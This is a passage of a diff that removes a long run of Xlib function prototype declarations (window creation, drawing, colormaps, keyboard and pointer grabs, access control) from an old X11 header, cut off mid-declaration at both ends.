-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- char* /* data */,
- unsigned int /* width */,
- unsigned int /* height */,
- unsigned long /* fg */,
- unsigned long /* bg */,
- unsigned int /* depth */
-#endif
-);
-extern Window XCreateSimpleWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* parent */,
- int /* x */,
- int /* y */,
- unsigned int /* width */,
- unsigned int /* height */,
- unsigned int /* border_width */,
- unsigned long /* border */,
- unsigned long /* background */
-#endif
-);
-extern Window XGetSelectionOwner(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Atom /* selection */
-#endif
-);
-extern Window XCreateWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* parent */,
- int /* x */,
- int /* y */,
- unsigned int /* width */,
- unsigned int /* height */,
- unsigned int /* border_width */,
- int /* depth */,
- unsigned int /* class */,
- Visual* /* visual */,
- unsigned long /* valuemask */,
- XSetWindowAttributes* /* attributes */
-#endif
-);
-extern Colormap *XListInstalledColormaps(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- int* /* num_return */
-#endif
-);
-extern char **XListFonts(
-#if NeedFunctionPrototypes
- Display* /* display */,
- _Xconst char* /* pattern */,
- int /* maxnames */,
- int* /* actual_count_return */
-#endif
-);
-extern char **XListFontsWithInfo(
-#if NeedFunctionPrototypes
- Display* /* display */,
- _Xconst char* /* pattern */,
- int /* maxnames */,
- int* /* count_return */,
- XFontStruct** /* info_return */
-#endif
-);
-extern char **XGetFontPath(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int* /* npaths_return */
-#endif
-);
-extern char **XListExtensions(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int* /* nextensions_return */
-#endif
-);
-extern Atom *XListProperties(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- int* /* num_prop_return */
-#endif
-);
-extern XHostAddress *XListHosts(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int* /* nhosts_return */,
- Bool* /* state_return */
-#endif
-);
-extern KeySym XKeycodeToKeysym(
-#if NeedFunctionPrototypes
- Display* /* display */,
-#if NeedWidePrototypes
- unsigned int /* keycode */,
-#else
- KeyCode /* keycode */,
-#endif
- int /* index */
-#endif
-);
-extern KeySym XLookupKeysym(
-#if NeedFunctionPrototypes
- XKeyEvent* /* key_event */,
- int /* index */
-#endif
-);
-extern KeySym *XGetKeyboardMapping(
-#if NeedFunctionPrototypes
- Display* /* display */,
-#if NeedWidePrototypes
- unsigned int /* first_keycode */,
-#else
- KeyCode /* first_keycode */,
-#endif
- int /* keycode_count */,
- int* /* keysyms_per_keycode_return */
-#endif
-);
-extern KeySym XStringToKeysym(
-#if NeedFunctionPrototypes
- _Xconst char* /* string */
-#endif
-);
-extern long XMaxRequestSize(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-extern long XExtendedMaxRequestSize(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-extern char *XResourceManagerString(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-extern char *XScreenResourceString(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-extern unsigned long XDisplayMotionBufferSize(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-extern VisualID XVisualIDFromVisual(
-#if NeedFunctionPrototypes
- Visual* /* visual */
-#endif
-);
-
-/* multithread routines */
-
-extern Status XInitThreads(
-#if NeedFunctionPrototypes
- void
-#endif
-);
-
-extern void XLockDisplay(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern void XUnlockDisplay(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-/* routines for dealing with extensions */
-
-extern XExtCodes *XInitExtension(
-#if NeedFunctionPrototypes
- Display* /* display */,
- _Xconst char* /* name */
-#endif
-);
-
-extern XExtCodes *XAddExtension(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-extern XExtData *XFindOnExtensionList(
-#if NeedFunctionPrototypes
- XExtData** /* structure */,
- int /* number */
-#endif
-);
-extern XExtData **XEHeadOfExtensionList(
-#if NeedFunctionPrototypes
- XEDataObject /* object */
-#endif
-);
-
-/* these are routines for which there are also macros */
-extern Window XRootWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen_number */
-#endif
-);
-extern Window XDefaultRootWindow(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-extern Window XRootWindowOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-extern Visual *XDefaultVisual(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen_number */
-#endif
-);
-extern Visual *XDefaultVisualOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-extern GC XDefaultGC(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen_number */
-#endif
-);
-extern GC XDefaultGCOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-extern unsigned long XBlackPixel(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen_number */
-#endif
-);
-extern unsigned long XWhitePixel(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen_number */
-#endif
-);
-extern unsigned long XAllPlanes(
-#if NeedFunctionPrototypes
- void
-#endif
-);
-extern unsigned long XBlackPixelOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-extern unsigned long XWhitePixelOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-extern unsigned long XNextRequest(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-extern unsigned long XLastKnownRequestProcessed(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-extern char *XServerVendor(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-extern char *XDisplayString(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-extern Colormap XDefaultColormap(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen_number */
-#endif
-);
-extern Colormap XDefaultColormapOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-extern Display *XDisplayOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-extern Screen *XScreenOfDisplay(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen_number */
-#endif
-);
-extern Screen *XDefaultScreenOfDisplay(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-extern long XEventMaskOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-
-extern int XScreenNumberOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-
-typedef int (*XErrorHandler) ( /* WARNING, this type not in Xlib spec */
-#if NeedFunctionPrototypes
- Display* /* display */,
- XErrorEvent* /* error_event */
-#endif
-);
-
-extern XErrorHandler XSetErrorHandler (
-#if NeedFunctionPrototypes
- XErrorHandler /* handler */
-#endif
-);
-
-
-typedef int (*XIOErrorHandler) ( /* WARNING, this type not in Xlib spec */
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern XIOErrorHandler XSetIOErrorHandler (
-#if NeedFunctionPrototypes
- XIOErrorHandler /* handler */
-#endif
-);
-
-extern XPixmapFormatValues *XListPixmapFormats(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int* /* count_return */
-#endif
-);
-extern int *XListDepths(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen_number */,
- int* /* count_return */
-#endif
-);
-
-/* ICCCM routines for things that don't require special include files; */
-/* other declarations are given in Xutil.h */
-extern Status XReconfigureWMWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- int /* screen_number */,
- unsigned int /* mask */,
- XWindowChanges* /* changes */
-#endif
-);
-
-extern Status XGetWMProtocols(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Atom** /* protocols_return */,
- int* /* count_return */
-#endif
-);
-extern Status XSetWMProtocols(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Atom* /* protocols */,
- int /* count */
-#endif
-);
-extern Status XIconifyWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- int /* screen_number */
-#endif
-);
-extern Status XWithdrawWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- int /* screen_number */
-#endif
-);
-extern Status XGetCommand(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- char*** /* argv_return */,
- int* /* argc_return */
-#endif
-);
-extern Status XGetWMColormapWindows(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Window** /* windows_return */,
- int* /* count_return */
-#endif
-);
-extern Status XSetWMColormapWindows(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Window* /* colormap_windows */,
- int /* count */
-#endif
-);
-extern void XFreeStringList(
-#if NeedFunctionPrototypes
- char** /* list */
-#endif
-);
-extern int XSetTransientForHint(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Window /* prop_window */
-#endif
-);
-
-/* The following are given in alphabetical order */
-
-extern int XActivateScreenSaver(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XAddHost(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XHostAddress* /* host */
-#endif
-);
-
-extern int XAddHosts(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XHostAddress* /* hosts */,
- int /* num_hosts */
-#endif
-);
-
-extern int XAddToExtensionList(
-#if NeedFunctionPrototypes
- struct _XExtData** /* structure */,
- XExtData* /* ext_data */
-#endif
-);
-
-extern int XAddToSaveSet(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */
-#endif
-);
-
-extern Status XAllocColor(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Colormap /* colormap */,
- XColor* /* screen_in_out */
-#endif
-);
-
-extern Status XAllocColorCells(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Colormap /* colormap */,
- Bool /* contig */,
- unsigned long* /* plane_masks_return */,
- unsigned int /* nplanes */,
- unsigned long* /* pixels_return */,
- unsigned int /* npixels */
-#endif
-);
-
-extern Status XAllocColorPlanes(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Colormap /* colormap */,
- Bool /* contig */,
- unsigned long* /* pixels_return */,
- int /* ncolors */,
- int /* nreds */,
- int /* ngreens */,
- int /* nblues */,
- unsigned long* /* rmask_return */,
- unsigned long* /* gmask_return */,
- unsigned long* /* bmask_return */
-#endif
-);
-
-extern Status XAllocNamedColor(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Colormap /* colormap */,
- _Xconst char* /* color_name */,
- XColor* /* screen_def_return */,
- XColor* /* exact_def_return */
-#endif
-);
-
-extern int XAllowEvents(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* event_mode */,
- Time /* time */
-#endif
-);
-
-extern int XAutoRepeatOff(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XAutoRepeatOn(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XBell(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* percent */
-#endif
-);
-
-extern int XBitmapBitOrder(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XBitmapPad(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XBitmapUnit(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XCellsOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-
-extern int XChangeActivePointerGrab(
-#if NeedFunctionPrototypes
- Display* /* display */,
- unsigned int /* event_mask */,
- Cursor /* cursor */,
- Time /* time */
-#endif
-);
-
-extern int XChangeGC(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- unsigned long /* valuemask */,
- XGCValues* /* values */
-#endif
-);
-
-extern int XChangeKeyboardControl(
-#if NeedFunctionPrototypes
- Display* /* display */,
- unsigned long /* value_mask */,
- XKeyboardControl* /* values */
-#endif
-);
-
-extern int XChangeKeyboardMapping(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* first_keycode */,
- int /* keysyms_per_keycode */,
- KeySym* /* keysyms */,
- int /* num_codes */
-#endif
-);
-
-extern int XChangePointerControl(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Bool /* do_accel */,
- Bool /* do_threshold */,
- int /* accel_numerator */,
- int /* accel_denominator */,
- int /* threshold */
-#endif
-);
-
-extern int XChangeProperty(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Atom /* property */,
- Atom /* type */,
- int /* format */,
- int /* mode */,
- _Xconst unsigned char* /* data */,
- int /* nelements */
-#endif
-);
-
-extern int XChangeSaveSet(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- int /* change_mode */
-#endif
-);
-
-extern int XChangeWindowAttributes(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- unsigned long /* valuemask */,
- XSetWindowAttributes* /* attributes */
-#endif
-);
-
-extern Bool XCheckIfEvent(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XEvent* /* event_return */,
- Bool (*) (
-#if NeedNestedPrototypes
- Display* /* display */,
- XEvent* /* event */,
- XPointer /* arg */
-#endif
- ) /* predicate */,
- XPointer /* arg */
-#endif
-);
-
-extern Bool XCheckMaskEvent(
-#if NeedFunctionPrototypes
- Display* /* display */,
- long /* event_mask */,
- XEvent* /* event_return */
-#endif
-);
-
-extern Bool XCheckTypedEvent(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* event_type */,
- XEvent* /* event_return */
-#endif
-);
-
-extern Bool XCheckTypedWindowEvent(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- int /* event_type */,
- XEvent* /* event_return */
-#endif
-);
-
-extern Bool XCheckWindowEvent(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- long /* event_mask */,
- XEvent* /* event_return */
-#endif
-);
-
-extern int XCirculateSubwindows(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- int /* direction */
-#endif
-);
-
-extern int XCirculateSubwindowsDown(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */
-#endif
-);
-
-extern int XCirculateSubwindowsUp(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */
-#endif
-);
-
-extern int XClearArea(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- int /* x */,
- int /* y */,
- unsigned int /* width */,
- unsigned int /* height */,
- Bool /* exposures */
-#endif
-);
-
-extern int XClearWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */
-#endif
-);
-
-extern int XCloseDisplay(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XConfigureWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- unsigned int /* value_mask */,
- XWindowChanges* /* values */
-#endif
-);
-
-extern int XConnectionNumber(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XConvertSelection(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Atom /* selection */,
- Atom /* target */,
- Atom /* property */,
- Window /* requestor */,
- Time /* time */
-#endif
-);
-
-extern int XCopyArea(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* src */,
- Drawable /* dest */,
- GC /* gc */,
- int /* src_x */,
- int /* src_y */,
- unsigned int /* width */,
- unsigned int /* height */,
- int /* dest_x */,
- int /* dest_y */
-#endif
-);
-
-extern int XCopyGC(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* src */,
- unsigned long /* valuemask */,
- GC /* dest */
-#endif
-);
-
-extern int XCopyPlane(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* src */,
- Drawable /* dest */,
- GC /* gc */,
- int /* src_x */,
- int /* src_y */,
- unsigned int /* width */,
- unsigned int /* height */,
- int /* dest_x */,
- int /* dest_y */,
- unsigned long /* plane */
-#endif
-);
-
-extern int XDefaultDepth(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen_number */
-#endif
-);
-
-extern int XDefaultDepthOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-
-extern int XDefaultScreen(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XDefineCursor(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Cursor /* cursor */
-#endif
-);
-
-extern int XDeleteProperty(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Atom /* property */
-#endif
-);
-
-extern int XDestroyWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */
-#endif
-);
-
-extern int XDestroySubwindows(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */
-#endif
-);
-
-extern int XDoesBackingStore(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-
-extern Bool XDoesSaveUnders(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-
-extern int XDisableAccessControl(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-
-extern int XDisplayCells(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen_number */
-#endif
-);
-
-extern int XDisplayHeight(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen_number */
-#endif
-);
-
-extern int XDisplayHeightMM(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen_number */
-#endif
-);
-
-extern int XDisplayKeycodes(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int* /* min_keycodes_return */,
- int* /* max_keycodes_return */
-#endif
-);
-
-extern int XDisplayPlanes(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen_number */
-#endif
-);
-
-extern int XDisplayWidth(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen_number */
-#endif
-);
-
-extern int XDisplayWidthMM(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen_number */
-#endif
-);
-
-extern int XDrawArc(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- unsigned int /* width */,
- unsigned int /* height */,
- int /* angle1 */,
- int /* angle2 */
-#endif
-);
-
-extern int XDrawArcs(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- XArc* /* arcs */,
- int /* narcs */
-#endif
-);
-
-extern int XDrawImageString(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- _Xconst char* /* string */,
- int /* length */
-#endif
-);
-
-extern int XDrawImageString16(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- _Xconst XChar2b* /* string */,
- int /* length */
-#endif
-);
-
-extern int XDrawLine(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- int /* x1 */,
- int /* y1 */,
- int /* x2 */,
- int /* y2 */
-#endif
-);
-
-extern int XDrawLines(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- XPoint* /* points */,
- int /* npoints */,
- int /* mode */
-#endif
-);
-
-extern int XDrawPoint(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- int /* x */,
- int /* y */
-#endif
-);
-
-extern int XDrawPoints(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- XPoint* /* points */,
- int /* npoints */,
- int /* mode */
-#endif
-);
-
-extern int XDrawRectangle(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- unsigned int /* width */,
- unsigned int /* height */
-#endif
-);
-
-extern int XDrawRectangles(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- XRectangle* /* rectangles */,
- int /* nrectangles */
-#endif
-);
-
-extern int XDrawSegments(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- XSegment* /* segments */,
- int /* nsegments */
-#endif
-);
-
-extern int XDrawString(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- _Xconst char* /* string */,
- int /* length */
-#endif
-);
-
-extern int XDrawString16(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- _Xconst XChar2b* /* string */,
- int /* length */
-#endif
-);
-
-extern int XDrawText(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- XTextItem* /* items */,
- int /* nitems */
-#endif
-);
-
-extern int XDrawText16(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- XTextItem16* /* items */,
- int /* nitems */
-#endif
-);
-
-extern int XEnableAccessControl(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XEventsQueued(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* mode */
-#endif
-);
-
-extern Status XFetchName(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- char** /* window_name_return */
-#endif
-);
-
-extern int XFillArc(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- unsigned int /* width */,
- unsigned int /* height */,
- int /* angle1 */,
- int /* angle2 */
-#endif
-);
-
-extern int XFillArcs(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- XArc* /* arcs */,
- int /* narcs */
-#endif
-);
-
-extern int XFillPolygon(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- XPoint* /* points */,
- int /* npoints */,
- int /* shape */,
- int /* mode */
-#endif
-);
-
-extern int XFillRectangle(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- unsigned int /* width */,
- unsigned int /* height */
-#endif
-);
-
-extern int XFillRectangles(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- XRectangle* /* rectangles */,
- int /* nrectangles */
-#endif
-);
-
-extern int XFlush(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XForceScreenSaver(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* mode */
-#endif
-);
-
-extern int XFree(
-#if NeedFunctionPrototypes
- void* /* data */
-#endif
-);
-
-extern int XFreeColormap(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Colormap /* colormap */
-#endif
-);
-
-extern int XFreeColors(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Colormap /* colormap */,
- unsigned long* /* pixels */,
- int /* npixels */,
- unsigned long /* planes */
-#endif
-);
-
-extern int XFreeCursor(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Cursor /* cursor */
-#endif
-);
-
-extern int XFreeExtensionList(
-#if NeedFunctionPrototypes
- char** /* list */
-#endif
-);
-
-extern int XFreeFont(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XFontStruct* /* font_struct */
-#endif
-);
-
-extern int XFreeFontInfo(
-#if NeedFunctionPrototypes
- char** /* names */,
- XFontStruct* /* free_info */,
- int /* actual_count */
-#endif
-);
-
-extern int XFreeFontNames(
-#if NeedFunctionPrototypes
- char** /* list */
-#endif
-);
-
-extern int XFreeFontPath(
-#if NeedFunctionPrototypes
- char** /* list */
-#endif
-);
-
-extern int XFreeGC(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */
-#endif
-);
-
-extern int XFreeModifiermap(
-#if NeedFunctionPrototypes
- XModifierKeymap* /* modmap */
-#endif
-);
-
-extern int XFreePixmap(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Pixmap /* pixmap */
-#endif
-);
-
-extern int XGeometry(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen */,
- _Xconst char* /* position */,
- _Xconst char* /* default_position */,
- unsigned int /* bwidth */,
- unsigned int /* fwidth */,
- unsigned int /* fheight */,
- int /* xadder */,
- int /* yadder */,
- int* /* x_return */,
- int* /* y_return */,
- int* /* width_return */,
- int* /* height_return */
-#endif
-);
-
-extern int XGetErrorDatabaseText(
-#if NeedFunctionPrototypes
- Display* /* display */,
- _Xconst char* /* name */,
- _Xconst char* /* message */,
- _Xconst char* /* default_string */,
- char* /* buffer_return */,
- int /* length */
-#endif
-);
-
-extern int XGetErrorText(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* code */,
- char* /* buffer_return */,
- int /* length */
-#endif
-);
-
-extern Bool XGetFontProperty(
-#if NeedFunctionPrototypes
- XFontStruct* /* font_struct */,
- Atom /* atom */,
- unsigned long* /* value_return */
-#endif
-);
-
-extern Status XGetGCValues(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- unsigned long /* valuemask */,
- XGCValues* /* values_return */
-#endif
-);
-
-extern Status XGetGeometry(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- Window* /* root_return */,
- int* /* x_return */,
- int* /* y_return */,
- unsigned int* /* width_return */,
- unsigned int* /* height_return */,
- unsigned int* /* border_width_return */,
- unsigned int* /* depth_return */
-#endif
-);
-
-extern Status XGetIconName(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- char** /* icon_name_return */
-#endif
-);
-
-extern int XGetInputFocus(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window* /* focus_return */,
- int* /* revert_to_return */
-#endif
-);
-
-extern int XGetKeyboardControl(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XKeyboardState* /* values_return */
-#endif
-);
-
-extern int XGetPointerControl(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int* /* accel_numerator_return */,
- int* /* accel_denominator_return */,
- int* /* threshold_return */
-#endif
-);
-
-extern int XGetPointerMapping(
-#if NeedFunctionPrototypes
- Display* /* display */,
- unsigned char* /* map_return */,
- int /* nmap */
-#endif
-);
-
-extern int XGetScreenSaver(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int* /* timeout_return */,
- int* /* interval_return */,
- int* /* prefer_blanking_return */,
- int* /* allow_exposures_return */
-#endif
-);
-
-extern Status XGetTransientForHint(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Window* /* prop_window_return */
-#endif
-);
-
-extern int XGetWindowProperty(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Atom /* property */,
- long /* long_offset */,
- long /* long_length */,
- Bool /* delete */,
- Atom /* req_type */,
- Atom* /* actual_type_return */,
- int* /* actual_format_return */,
- unsigned long* /* nitems_return */,
- unsigned long* /* bytes_after_return */,
- unsigned char** /* prop_return */
-#endif
-);
-
-extern Status XGetWindowAttributes(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XWindowAttributes* /* window_attributes_return */
-#endif
-);
-
-extern int XGrabButton(
-#if NeedFunctionPrototypes
- Display* /* display */,
- unsigned int /* button */,
- unsigned int /* modifiers */,
- Window /* grab_window */,
- Bool /* owner_events */,
- unsigned int /* event_mask */,
- int /* pointer_mode */,
- int /* keyboard_mode */,
- Window /* confine_to */,
- Cursor /* cursor */
-#endif
-);
-
-extern int XGrabKey(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* keycode */,
- unsigned int /* modifiers */,
- Window /* grab_window */,
- Bool /* owner_events */,
- int /* pointer_mode */,
- int /* keyboard_mode */
-#endif
-);
-
-extern int XGrabKeyboard(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* grab_window */,
- Bool /* owner_events */,
- int /* pointer_mode */,
- int /* keyboard_mode */,
- Time /* time */
-#endif
-);
-
-extern int XGrabPointer(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* grab_window */,
- Bool /* owner_events */,
- unsigned int /* event_mask */,
- int /* pointer_mode */,
- int /* keyboard_mode */,
- Window /* confine_to */,
- Cursor /* cursor */,
- Time /* time */
-#endif
-);
-
-extern int XGrabServer(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XHeightMMOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-
-extern int XHeightOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-
-extern int XIfEvent(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XEvent* /* event_return */,
- Bool (*) (
-#if NeedNestedPrototypes
- Display* /* display */,
- XEvent* /* event */,
- XPointer /* arg */
-#endif
- ) /* predicate */,
- XPointer /* arg */
-#endif
-);
-
-extern int XImageByteOrder(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XInstallColormap(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Colormap /* colormap */
-#endif
-);
-
-extern KeyCode XKeysymToKeycode(
-#if NeedFunctionPrototypes
- Display* /* display */,
- KeySym /* keysym */
-#endif
-);
-
-extern int XKillClient(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XID /* resource */
-#endif
-);
-
-extern Status XLookupColor(
-#if NeedFunctionPrototypes
- Display* /* display */,
